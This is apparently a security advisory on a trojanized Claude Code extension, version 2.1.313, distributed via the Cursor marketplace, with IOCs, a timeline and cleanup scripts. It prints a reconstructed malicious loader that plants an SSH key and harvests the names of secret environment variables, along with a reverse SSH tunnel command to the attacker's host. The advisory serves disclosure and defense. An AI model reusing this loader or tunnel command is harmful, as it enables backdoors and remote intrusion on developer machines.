critical

CVE

Not assigned

CWE

CWE-506, CWE-494, CWE-829

Affected Surface

  • Cursor VS Code Extension Marketplace package `anthropic.claude-code` version `2.1.313` (`darwin-arm64` VSIX SHA-256 `432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62`, `win32-x64` VSIX SHA-256 `3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081`), served between `09:27 UTC` and `20:35 UTC` on 29 October 2026 (removed on 29 October; clean version `2.1.314` published on 30 October)
  • Developer workstations (macOS, Windows, and Linux) that installed or auto-updated `anthropic.claude-code@2.1.313` during the 11-hour exposure window

TL;DR

On 29 October 2026 between roughly 09:27 UTC and 20:35 UTC (2:27 a.m. to 1:35 p.m. PT), a trojanized build of Anthropic’s Claude Code extension (anthropic.claude-code version 2.1.313) was distributed through the Cursor VS Code Extension Marketplace. Cursor reports that at most 5,000 users received the modified package before it removed the version, shut down and rebuilt its marketplace, rotated its signing and publishing keys, and worked with the upstream hosting provider to take down the attacker’s command-and-control server (134.209.82[.]225).

The tampered VSIX packages keep the genuine Claude binary and extension bundle intact, but prepend a 66-line self-invoking JavaScript loader to extension.js (SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15, 3,692,922 bytes, about 7 KB larger than the clean 2.1.312 release). Because the loader runs at module initialization time inside the editor’s extension host, no Claude chat session or user prompt is required:

  1. SSH authorized_keys implant: It creates ~/.ssh (0700) and appends an attacker-controlled Ed25519 public key (SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk) with the comment svc-telemetry to ~/.ssh/authorized_keys (0600).
  2. Local SSH daemon enablement: It attempts to turn on the local SSH server via sudo -n systemsetup -setremotelogin on on macOS, systemctl start commands for sshd/ssh on Linux, or Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 in PowerShell on Windows.
  3. Persistent reverse SSH tunnel: It decodes an embedded OpenSSH private key (SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ, file SHA-256 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278) to $TMPDIR/.stk_<10 hex> and ~/.config/.smtk, then spawns a detached 60-second retry loop connecting to tunnel@134.209.82[.]225 with -N -R '*:0:localhost:22'. To survive editor restarts and extension removal, it installs ~/Library/LaunchAgents/com.apple.sysmond.plist on macOS, a SysMon scheduled task (or Startup\sysmon.cmd fallback) on Windows, and an @reboot crontab entry on Linux.
  4. Host and secret-name beacon: After a 1.5-second delay, it looks up the host’s public IP via ifconfig.me and api.ipify.org and sends an HTTP POST to hxxp://134.209.82[.]225:8099/beacon (and hxxp://127.0.0[.]1:8099/beacon) containing the hostname, username, OS, CPU architecture, home and working directories, git config --global user.email, and the names (not values) of up to 40 environment variables matching KEY, TOKEN, SECRET, PASS, AWS, or GCP.

What to do now: Uninstalling the extension or updating to 2.1.314 does not remove the SSH key or the standalone persistence jobs. Check ~/.ssh/authorized_keys (and C:\ProgramData\ssh\administrators_authorized_keys on Windows) for svc-telemetry or fingerprint SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk, run Cursor’s remediation script (remediate-macos.sh or remediate-windows.ps1) or the Linux cleanup steps below, update anthropic.claude-code to >= 2.1.314, and rotate every credential reachable from an affected workstation using a separate, clean machine.

Affected packages and distribution channels

Early third-party write-ups attributed the malicious 2.1.313 package to Open-VSX, the Microsoft VS Code Marketplace, or npm. Subsequent investigation by Cursor, OpenSourceMalware, and Socket clarified the actual blast radius across registries:

Ecosystem / ChannelPackage / IdentifierAffected versionClean versionsStatus (30 Oct 2026)Distribution verification
Cursor Extension Marketplaceanthropic.claude-code (darwin-arm64, win32-x64)2.1.313 (09:27 to 20:35 UTC on 29 Oct 2026)<= 2.1.312, >= 2.1.314Removed from marketplace on 29 Oct 2026 (20:35 UTC); C2 taken offlineConfirmed by Cursor’s security notice; at most 5,000 Cursor users received 2.1.313
Open-VSX (open-vsx.org)Anthropic.claude-codeNone confirmed in public change feed (2.1.313 returns 404)2.1.312 (27 Oct 20:26 UTC), 2.1.314 (30 Oct 01:07 UTC)Serving clean 2.1.314Socket Research audited 3,392 events in Open-VSX’s append-only change feed (27 to 30 Oct) and found ACTIVE events for all 8 platform builds of 2.1.312 and 2.1.314, with zero publication or removal events for 2.1.313
Microsoft VS Code Marketplaceanthropic.claude-codeNone2.1.312, 2.1.314UnaffectedConfirmed unaffected by Cursor and OpenSourceMalware
npm (registry.npmjs.org)@anthropic-ai/claude-codeNone (2.1.313 never published)2.1.312 (27 Oct 18:36 UTC), 2.1.314 (30 Oct 00:12 UTC)Serving clean 2.1.314Verified via npm view @anthropic-ai/claude-code time --json: npm retains timestamps for unpublished versions, and 2.1.313 is absent

Even though Open-VSX’s append-only change feed shows no public publication event for 2.1.313, StepSecurity and HOL Guard recommend that developers using any Open-VSX-backed editor (Cursor, VSCodium, Windsurf) who auto-updated extensions on 29 October run the one-line authorized_keys and extension.js checks below.

Technical analysis

1. The 66-line prepended loader in extension.js

In the tampered 2.1.313 VSIX archives (432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62 for darwin-arm64 and 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 for win32-x64), package.json declares no preinstall or postinstall hooks and the bundled native claude binary is unmodified. Instead, lines 1 through 66 of extension.js contain a standalone, immediately invoked function expression (IIFE) that imports Node’s built-in child_process, fs, os, path, http, and crypto modules, wraps every stage in silent try { ... } catch {} blocks, and then hands execution to the real bundled extension on line 67.

Static and sandbox analysis by OpenSourceMalware, StepSecurity, and Cursor shows the loader executing five sequential stages as soon as the extension host loads extension.js:

// Reconstructed structure of the 66-line IIFE prepended to extension.js in anthropic.claude-code@2.1.313
// (All IOCs defanged; embedded keys truncated)
(() => {
  const cp = require('child_process'), fs = require('fs'),
        os = require('os'), path = require('path'),
        http = require('http'), crypto = require('crypto');

  const home = os.homedir(), plat = os.platform();
  const c2Host = '134.209.82[.]225';
  const pubKey = 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry';

  // Stage 1: Collect environment variable names (not values) matching sensitive patterns
  const envKeys = Object.keys(process.env)
    .filter(k => /KEY|TOKEN|SECRET|PASS|AWS|GCP/i.test(k))
    .slice(0, 40);

  // Stage 2: Append svc-telemetry Ed25519 public key to ~/.ssh/authorized_keys
  try {
    const sshDir = path.join(home, '.ssh');
    const authFile = path.join(sshDir, 'authorized_keys');
    fs.mkdirSync(sshDir, { recursive: true, mode: 0o700 });
    const existing = fs.existsSync(authFile) ? fs.readFileSync(authFile, 'utf8') : '';
    if (!existing.includes('svc-telemetry')) {
      fs.appendFileSync(authFile, (existing.endsWith('\n') || !existing ? '' : '\n') + pubKey + '\n', { mode: 0o600 });
    }
  } catch (_) {}

  // Stage 3: Attempt to enable local SSH daemon (macOS / Linux / Windows)
  // Stage 4: Write ~/.config/.smtk + ~/.config/.smt (or smt.cmd) and register LaunchAgent / SysMon task / @reboot cron
  // Stage 5: After 1500ms, query public IP via ifconfig.me / api.ipify.org and POST JSON to :8099/beacon
})();

Notice two implementation details documented in Cursor’s remediate-macos.sh and Phorion’s analysis:

  • In Stage 2, the implant checks authorized_keys for the literal comment string svc-telemetry rather than the key material itself, and in some runs appended pubKey without a leading newline when authorized_keys did not end with \n, joining the attacker’s key onto the end of an existing line.
  • In Stage 1, only the names of up to 40 matching environment variables (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, ANTHROPIC_API_KEY, etc.) are included in the JSON beacon sent to hxxp://134.209.82[.]225:8099/beacon. The values are not transmitted in the HTTP beacon; instead, the beacon tells the operator which high-value credentials exist on the host so they can prioritize interactive login over the reverse SSH tunnel.

2. When the reverse SSH tunnel succeeds (and when it fails)

To make the planted authorized_keys entry reachable behind NAT and corporate firewalls, the loader drops a base64-decoded private key (SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ) to $TMPDIR/.stk_<10 hex> (where the 10 hex characters are derived from hashing the hostname and home directory) and ~/.config/.smtk, then executes:

# Tunnel command executed by the loader and by ~/.config/.smt every 60 seconds
ssh -N -R '*:0:localhost:22' \
  -i ~/.config/.smtk \
  -o StrictHostKeyChecking=no \
  -o UserKnownHostsFile=/dev/null \
  -o ServerAliveInterval=30 \
  -o ServerAliveCountMax=3 \
  -o ExitOnForwardFailure=yes \
  -o IdentitiesOnly=yes \
  tunnel@134.209.82[.]225

If autossh is installed on the host, the script prefers autossh -M 0.

Crucially, -R '*:0:localhost:22' forwards a remote port on 134.209.82[.]225 back to TCP port 22 on the developer’s own machine (localhost:22). For an operator on 134.209.82[.]225 to log in with the svc-telemetry key, the developer’s machine must actually have an SSH server listening on localhost:22:

  • On standard macOS and Windows workstations where Remote Login / OpenSSH Server was turned off and the editor was running as an ordinary non-root user, the loader’s attempt to run sudo -n systemsetup -setremotelogin on or Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 fails for lack of administrator privileges. The outbound SSH connection to 134.209.82[.]225 still connects, but forwards to a closed local port 22.
  • On macOS machines with Remote Login (sshd) already enabled, Linux workstations and cloud devboxes running sshd, or machines where Cursor was launched with administrator privileges, localhost:22 was already open (or was opened by the loader). On those hosts, the reverse tunnel gave the operator immediate, unauthenticated interactive shell access as the developer user.

Cursor’s remediate-macos.sh explicitly checks for this condition after cleaning up (nc -z -G1 127.0.0.1 22 2>/dev/null && echo "note: something listens on localhost:22; the tunnel exposed it").

3. Per-OS persistence outside the extension directory

Simply uninstalling anthropic.claude-code or upgrading to 2.1.314 leaves the backdoor running because the loader writes standalone persistence artifacts into the user’s home directory:

  • macOS: Writes ~/.config/.smt (the tunnel loop script), ~/.config/.smtk (the tunnel private key), and ~/Library/LaunchAgents/com.apple.sysmond.plist (with label com.apple.sysmond, RunAtLoad, and KeepAlive set to true, loaded via launchctl load -w). Despite the com.apple.sysmond name, this is not an Apple system daemon.
  • Windows: Writes %USERPROFILE%\.config\smt.cmd (SHA-256 22f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0, 330 bytes) and %USERPROFILE%\.config\smtk, registers an on-start scheduled task (schtasks /create /tn SysMon) attempting to run as SYSTEM, and drops %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd as a user-level fallback.
  • Linux: Writes ~/.config/.smt and ~/.config/.smtk and appends an @reboot job pointing to ~/.config/.smt in the user’s crontab.

IOCs

  • Malicious package and file hashes:
    • Package identity: anthropic.claude-code@2.1.313
    • Modified VSIX (darwin-arm64): SHA-256 432ccdee3801f99e52b8fe31f69ea9870118e96ea7ef9ecabed1479621b5ab62 (MD5 da5469c4221775e9fe2e413e59ca7fd9)
    • Modified VSIX (win32-x64): SHA-256 3de1722901165769893bef57c72594e9a54459faa23f3091b136b79966edd081 (MD5 bd3b71ddf3d0cc3af76249afd2c0eda1)
    • Modified extension.js (3,692,922 bytes): SHA-256 ecb58cb29078d9646ad1dcdbe51526f2d9cfea06be5fb2ab183e8ecc3ab6bf15 (MD5 f49bcd657ef1e626e85ce858958c1769)
    • Dropped tunnel private key (.stk_<10 hex> / .smtk): SHA-256 7e0a52885fadee05544a9e99eb18c792bec05900a5e1a66d68f8383decb0e278
    • Dropped Windows persistence script (smt.cmd, 330 bytes): SHA-256 22f682d9ff55264e934d0f43fcfbb46d58be5cfb8fe1b3a7cbb38fe089c818b0
  • Network indicators (defanged):
    • C2 IP and SSH tunnel endpoint: 134.209.82[.]225 (tunnel@134.209.82[.]225 over TCP port 22)
    • HTTP reconnaissance beacon: hxxp://134.209.82[.]225:8099/beacon and loopback hxxp://127.0.0[.]1:8099/beacon
  • SSH keys and fingerprints:
    • Planted authorized_keys public key: ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDdvylCEJ/k2TpezcTfedrkHyFSK9IZ3vmP6vhY4Ss0P svc-telemetry
    • Planted public key fingerprint: SHA256:0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk
    • Embedded reverse-tunnel key fingerprint: SHA256:KOAU57+ZG6u3MG4WwzPzPX2O5YEe9qdOC1Bl+6MVyDQ
  • Filesystem and scheduler persistence paths:
    • macOS: ~/Library/LaunchAgents/com.apple.sysmond.plist (label com.apple.sysmond), ~/.config/.smt, ~/.config/.smtk, $TMPDIR/.stk_*
    • Windows: Scheduled task \SysMon, %USERPROFILE%\.config\smt.cmd, %USERPROFILE%\.config\smtk, %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd, %TEMP%\.stk_*
    • Linux: crontab @reboot entry executing ~/.config/.smt, ~/.config/.smtk, /tmp/.stk_*

Detection and remediation

1. Check developer workstations and fleet telemetry

Run these checks across macOS, Linux, and Windows machines before deleting files so you know whether the payload executed and whether localhost:22 was exposed:

# 1. Check ~/.ssh/authorized_keys by both comment (svc-telemetry) and SHA-256 key fingerprint
grep -n 'svc-telemetry' ~/.ssh/authorized_keys 2>/dev/null || true
ssh-keygen -lf ~/.ssh/authorized_keys 2>/dev/null | grep '0Z6R+DF64Do2nwQic8a7kkfDLNNk4IiK+2U2Rci4htk' || true

# 2. Scan installed VS Code / Cursor / VSCodium / Windsurf extension bundles for the C2 or marker
grep -rnE '134\.209\.82\.225|svc-telemetry' ~/.[!.]*/extensions/anthropic.claude-code-*/extension.js 2>/dev/null || true

# 3. Check for persistence files, LaunchAgents, cron jobs, and active tunnel processes (macOS / Linux)
ls -la ~/Library/LaunchAgents/com.apple.sysmond.plist ~/.config/.smt ~/.config/.smtk "${TMPDIR:-/tmp}"/.stk_* /tmp/.stk_* 2>/dev/null || true
launchctl list 2>/dev/null | grep 'com.apple.sysmond' || true
crontab -l 2>/dev/null | grep -n '\.smt' || true
pgrep -af '134\.209\.82\.225|\.stk_|\.config/\.smt' 2>/dev/null || true

# 4. Check whether a local SSH daemon was listening on port 22 (meaning the reverse tunnel could reach sshd)
nc -z -G1 127.0.0.1 22 2>/dev/null && echo "WARNING: localhost:22 is listening" || echo "localhost:22 closed"

On Windows (PowerShell):

# Check authorized_keys, scheduled task SysMon, Startup folder, and extension bundles
$files = "$HOME\.ssh\authorized_keys", "C:\ProgramData\ssh\administrators_authorized_keys" | Where-Object { Test-Path $_ }
if ($files) { Select-String 'svc-telemetry' $files }
Get-ScheduledTask -TaskName 'SysMon' -ErrorAction SilentlyContinue
Get-ChildItem "$HOME\.config\smt*", "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\sysmon.cmd", "$env:TEMP\.stk_*" -Force -ErrorAction SilentlyContinue
Get-ChildItem "$HOME\.*\extensions\anthropic.claude-code-*\extension.js" -Force -ErrorAction SilentlyContinue | Select-String 'svc-telemetry'

2. Remove the backdoor, persistence, and tampered extension

  • macOS: Download and run Cursor’s official remediate-macos.sh script as the affected user (not root):
    curl -fsSLO https://cursor.com/static/security/claude-code-extension/remediate-macos.sh
    less remediate-macos.sh   # inspect before running
    bash remediate-macos.sh
  • Windows: Download and run remediate-windows.ps1 from an elevated PowerShell prompt (Run as Administrator):
    Invoke-WebRequest -Uri https://cursor.com/static/security/claude-code-extension/remediate-windows.ps1 -OutFile remediate-windows.ps1
    powershell -ExecutionPolicy Bypass -File .\remediate-windows.ps1
  • Linux: Back up your crontab first, terminate the tunnel process, remove the @reboot entry and .smt/.smtk files, strip the svc-telemetry key from ~/.ssh/authorized_keys, and delete any infected extension directory:
    crontab -l > ~/crontab-before-cleanup.txt 2>/dev/null || true
    pkill -f '/\.stk_[0-9a-f]{10}|/\.config/\.smtk|^/bin/sh .*/\.config/\.smt$' 2>/dev/null || true
    crontab -l 2>/dev/null | grep -v '\.config/\.smt' | crontab - 2>/dev/null || true
    sed -i.bak '/svc-telemetry/d' ~/.ssh/authorized_keys
    rm -f ~/.config/.smt ~/.config/.smtk /tmp/.stk_*
    for js in ~/.[!.]*/extensions/anthropic.claude-code-*/extension.js; do
      grep -qF 'svc-telemetry' "$js" 2>/dev/null && rm -rf "${js%/*}"
    done
  • Reinstall anthropic.claude-code >= 2.1.314 and consider setting "extensions.autoUpdate": false in your editor settings so privileged extensions are not updated unattended.
  • Rotate credentials from a known-clean machine: Rotate SSH keys in ~/.ssh, GitHub and GitLab personal access tokens, cloud CLI credentials (~/.aws, ~/.config/gcloud, ~/.azure), npm/PyPI/Docker registry tokens, and every secret whose variable name matched KEY, TOKEN, SECRET, PASS, AWS, or GCP in the user’s shell environment. If localhost:22 (sshd / Remote Login) was active while the tunnel ran, rebuild the host from a clean image.

Timeline

  • 2026-10-27 (18:36 UTC npm / 20:26 UTC Open-VSX): Anthropic publishes clean version 2.1.312 of Claude Code.
  • 2026-10-29 (09:27 UTC / 02:27 a.m. PT): Trojanized anthropic.claude-code 2.1.313 becomes available in the Cursor VS Code Extension Marketplace.
  • 2026-10-29 (20:35 UTC / 01:35 p.m. PT): Cursor detects and removes 2.1.313, takes its extension marketplace offline to audit access, rotates its keys, and works with the cloud hosting provider to take down 134.209.82[.]225.
  • 2026-10-29 (late) to 2026-10-30 (00:12 UTC npm / 01:07 UTC Open-VSX): Cursor publishes its security notice and remediation scripts (remediate-macos.sh and remediate-windows.ps1); Anthropic publishes clean version 2.1.314.
  • 2026-10-30 (09:26 to 10:44 UTC): OpenSourceMalware, StepSecurity, Socket Research, and HOL Guard publish technical analyses of the 66-line extension.js loader and registry change-feed records.

From research to remediation

Check whether this pattern exists in your codebase

Turn this research into a remediation workflow. Scan dependencies and package manifests for similar supply-chain risk, then prioritize fixes with reachability context.

References